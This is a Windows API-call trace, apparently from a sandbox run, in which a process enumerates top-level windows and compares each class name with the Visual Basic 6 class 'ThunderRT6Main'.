[0100.203] GetClassNameA (in: hWnd=0x201a4, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
[0100.203] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x201a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa3c
[0100.203] GetWindow (hWnd=0x201a4, uCmd=0x2) returned 0x101da
[0100.203] GetClassNameA (in: hWnd=0x101da, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
[0100.203] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.203] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2080374784
[0100.203] GetWindowLongA (hWnd=0x101da, nIndex=-6) returned 2001076224
[0100.203] GetWindowLongA (hWnd=0x101da, nIndex=-6) returned 2001076224
[0100.203] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x201ba
[0100.203] GetClassNameA (in: hWnd=0x201ba, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="_WwO") returned 4
[0100.203] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x201ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.203] GetWindowLongA (hWnd=0x201ba, nIndex=-16) returned -2080374784
[0100.203] GetWindowLongA (hWnd=0x201ba, nIndex=-6) returned 1764163584
[0100.203] GetWindowLongA (hWnd=0x201ba, nIndex=-6) returned 1764163584
[0100.203] GetWindow (hWnd=0x201ba, uCmd=0x2) returned 0x101a8
[0100.203] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16
[0100.203] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9fc
[0100.203] GetWindowLongA (hWnd=0x101a8, nIndex=-16) returned -2080374784
[0100.203] GetWindowLongA (hWnd=0x101a8, nIndex=-6) returned 19791872
[0100.203] GetWindowLongA (hWnd=0x101a8, nIndex=-6) returned 19791872
[0100.203] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x10188
[0100.203] GetClassNameA (in: hWnd=0x10188, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f4
[0100.203] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10186
[0100.203] GetClassNameA (in: hWnd=0x10186, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="projectKentEssaycls") returned 19
[0100.203] lstrcmpA (lpString1="projectKentEssaycls", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8f4
[0100.203] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10184
[0100.203] GetClassNameA (in: hWnd=0x10184, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.203] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e4
[0100.203] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10182
[0100.203] GetClassNameA (in: hWnd=0x10182, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="accredited_Reject_Transmitted_window") returned 36
[0100.203] lstrcmpA (lpString1="accredited_Reject_Transmitted_window", lpString2="ThunderRT6Main") returned -1
[0100.203] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e4
[0100.203] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x1017e
[0100.204] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="silentRomantic") returned 14
[0100.204] lstrcmpA (lpString1="silentRomantic", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d4
[0100.204] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180
[0100.204] GetClassNameA (in: hWnd=0x10180, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8d4
[0100.204] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a
[0100.204] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="merit_window") returned 12
[0100.204] lstrcmpA (lpString1="merit_window", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c4
[0100.204] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c
[0100.204] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8c4
[0100.204] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176
[0100.204] GetClassNameA (in: hWnd=0x10176, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ping_cls") returned 8
[0100.204] lstrcmpA (lpString1="ping_cls", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4
[0100.204] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178
[0100.204] GetClassNameA (in: hWnd=0x10178, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4
[0100.204] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172
[0100.204] GetClassNameA (in: hWnd=0x10172, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="GarageOpinionsjoyceCincinnatiwindow") returned 35
[0100.204] lstrcmpA (lpString1="GarageOpinionsjoyceCincinnatiwindow", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4
[0100.204] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174
[0100.204] GetClassNameA (in: hWnd=0x10174, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4
[0100.204] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e
[0100.204] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="StatewideEmergencywin") returned 21
[0100.204] lstrcmpA (lpString1="StatewideEmergencywin", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894
[0100.204] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170
[0100.204] GetClassNameA (in: hWnd=0x10170, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894
[0100.204] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a
[0100.204] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Pasonylontestswnd") returned 17
[0100.204] lstrcmpA (lpString1="Pasonylontestswnd", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884
[0100.204] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c
[0100.204] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884
[0100.204] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166
[0100.204] GetClassNameA (in: hWnd=0x10166, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Herbs_app") returned 9
[0100.204] lstrcmpA (lpString1="Herbs_app", lpString2="ThunderRT6Main") returned -1
[0100.204] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874
[0100.204] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168
[0100.204] GetClassNameA (in: hWnd=0x10168, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.204] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874
[0100.205] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162
[0100.205] GetClassNameA (in: hWnd=0x10162, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="emerging_Anniversary_muscle_cradle_cls") returned 38
[0100.205] lstrcmpA (lpString1="emerging_Anniversary_muscle_cradle_cls", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864
[0100.205] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164
[0100.205] GetClassNameA (in: hWnd=0x10164, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864
[0100.205] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e
[0100.205] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Receivedsuggestionsstoppedemphasisclass") returned 39
[0100.205] lstrcmpA (lpString1="Receivedsuggestionsstoppedemphasisclass", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854
[0100.205] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160
[0100.205] GetClassNameA (in: hWnd=0x10160, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854
[0100.205] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a
[0100.205] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Pretty_Guru_app") returned 15
[0100.205] lstrcmpA (lpString1="Pretty_Guru_app", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844
[0100.205] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c
[0100.205] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844
[0100.205] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x20154
[0100.205] GetClassNameA (in: hWnd=0x20154, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="collectablesTechnicalwin") returned 24
[0100.205] lstrcmpA (lpString1="collectablesTechnicalwin", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x20154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834
[0100.205] GetWindow (hWnd=0x20154, uCmd=0x2) returned 0x20142
[0100.205] GetClassNameA (in: hWnd=0x20142, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834
[0100.205] GetWindow (hWnd=0x20142, uCmd=0x2) returned 0x10156
[0100.205] GetClassNameA (in: hWnd=0x10156, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="shakespeare_class") returned 17
[0100.205] lstrcmpA (lpString1="shakespeare_class", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824
[0100.205] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158
[0100.205] GetClassNameA (in: hWnd=0x10158, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.205] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824
[0100.205] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x10150
[0100.205] GetClassNameA (in: hWnd=0x10150, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Clifftypesclass") returned 15
[0100.205] lstrcmpA (lpString1="Clifftypesclass", lpString2="ThunderRT6Main") returned -1
[0100.205] GetWindowThreadProcessId (in: hWnd=0x10150, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814
[0100.205] GetWindow (hWnd=0x10150, uCmd=0x2) returned 0x20152
[0100.205] GetClassNameA (in: hWnd=0x20152, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x20152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814
[0100.206] GetWindow (hWnd=0x20152, uCmd=0x2) returned 0x1014a
[0100.206] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="StreamNoMirrorsGrew") returned 19
[0100.206] lstrcmpA (lpString1="StreamNoMirrorsGrew", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804
[0100.206] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x2014c
[0100.206] GetClassNameA (in: hWnd=0x2014c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x2014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804
[0100.206] GetWindow (hWnd=0x2014c, uCmd=0x2) returned 0x10144
[0100.206] GetClassNameA (in: hWnd=0x10144, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="CaliforniahateGighits") returned 21
[0100.206] lstrcmpA (lpString1="CaliforniahateGighits", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x534
[0100.206] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x20146
[0100.206] GetClassNameA (in: hWnd=0x20146, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x20146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x534
[0100.206] GetWindow (hWnd=0x20146, uCmd=0x2) returned 0x1013c
[0100.206] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Improve_corporate_Vital_wnd") returned 27
[0100.206] lstrcmpA (lpString1="Improve_corporate_Vital_wnd", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x71c
[0100.206] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10140
[0100.206] GetClassNameA (in: hWnd=0x10140, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x71c
[0100.206] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x20134
[0100.206] GetClassNameA (in: hWnd=0x20134, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Guns_marc_window") returned 16
[0100.206] lstrcmpA (lpString1="Guns_marc_window", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x20134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6e8
[0100.206] GetWindow (hWnd=0x20134, uCmd=0x2) returned 0x2013a
[0100.206] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.206] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6e8
[0100.206] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x600d4
[0100.206] GetClassNameA (in: hWnd=0x600d4, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="specifieswin") returned 12
[0100.206] lstrcmpA (lpString1="specifieswin", lpString2="ThunderRT6Main") returned -1
[0100.206] GetWindowThreadProcessId (in: hWnd=0x600d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x52c
[0100.206] GetWindow (hWnd=0x600d4, uCmd=0x2) returned 0x30132
[0100.206] GetClassNameA (in: hWnd=0x30132, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x30132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x52c
[0100.207] GetWindow (hWnd=0x30132, uCmd=0x2) returned 0x20130
[0100.207] GetClassNameA (in: hWnd=0x20130, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52
[0100.207] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0100.207] GetWindow (hWnd=0x20130, uCmd=0x2) returned 0x10124
[0100.207] GetClassNameA (in: hWnd=0x10124, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40
[0100.207] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0100.207] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10122
[0100.207] GetClassNameA (in: hWnd=0x10122, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18
[0100.207] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0100.207] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x20118
[0100.207] GetClassNameA (in: hWnd=0x20118, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12
[0100.207] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0100.207] GetWindow (hWnd=0x20118, uCmd=0x2) returned 0x1010c
[0100.207] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16
[0100.207] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0100.207] GetWindow (hWnd=0x1010c, uCmd=0x2) returned 0x1010e
[0100.207] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x170
[0100.207] GetWindow (hWnd=0x1010e, uCmd=0x2) returned 0x20020
[0100.207] GetClassNameA (in: hWnd=0x20020, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="ATL:73A43188") returned 12
[0100.207] lstrcmpA (lpString1="ATL:73A43188", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0100.207] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024
[0100.207] GetClassNameA (in: hWnd=0x20024, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674
[0100.207] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20016
[0100.207] GetClassNameA (in: hWnd=0x20016, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15
[0100.207] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0100.207] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x20018
[0100.207] GetClassNameA (in: hWnd=0x20018, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="IME") returned 3
[0100.207] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0100.207] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001c
[0100.207] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.207] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a0
[0100.207] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x100e8
[0100.207] GetClassNameA (in: hWnd=0x100e8, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.207] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.207] GetWindowThreadProcessId (in: hWnd=0x100e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760
[0100.208] GetWindow (hWnd=0x100e8, uCmd=0x2) returned 0x100e2
[0100.208] GetClassNameA (in: hWnd=0x100e2, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100e2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5f8
[0100.208] GetWindow (hWnd=0x100e2, uCmd=0x2) returned 0x100da
[0100.208] GetClassNameA (in: hWnd=0x100da, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
[0100.208] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x73c
[0100.208] GetWindow (hWnd=0x100da, uCmd=0x2) returned 0x100c0
[0100.208] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x100c0, uCmd=0x2) returned 0x100bc
[0100.208] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43
[0100.208] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x100bc, uCmd=0x2) returned 0x100b0
[0100.208] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24
[0100.208] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x100a6
[0100.208] GetClassNameA (in: hWnd=0x100a6, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x100a6, uCmd=0x2) returned 0x100a0
[0100.208] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x100a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x100a0, uCmd=0x2) returned 0x2009a
[0100.208] GetClassNameA (in: hWnd=0x2009a, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16
[0100.208] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1
[0100.208] GetWindowThreadProcessId (in: hWnd=0x2009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x650
[0100.208] GetWindow (hWnd=0x2009a, uCmd=0x2) returned 0x10082
[0100.208] GetClassNameA (in: hWnd=0x10082, lpClassName=0x3082e4, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14
[0100.208] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1
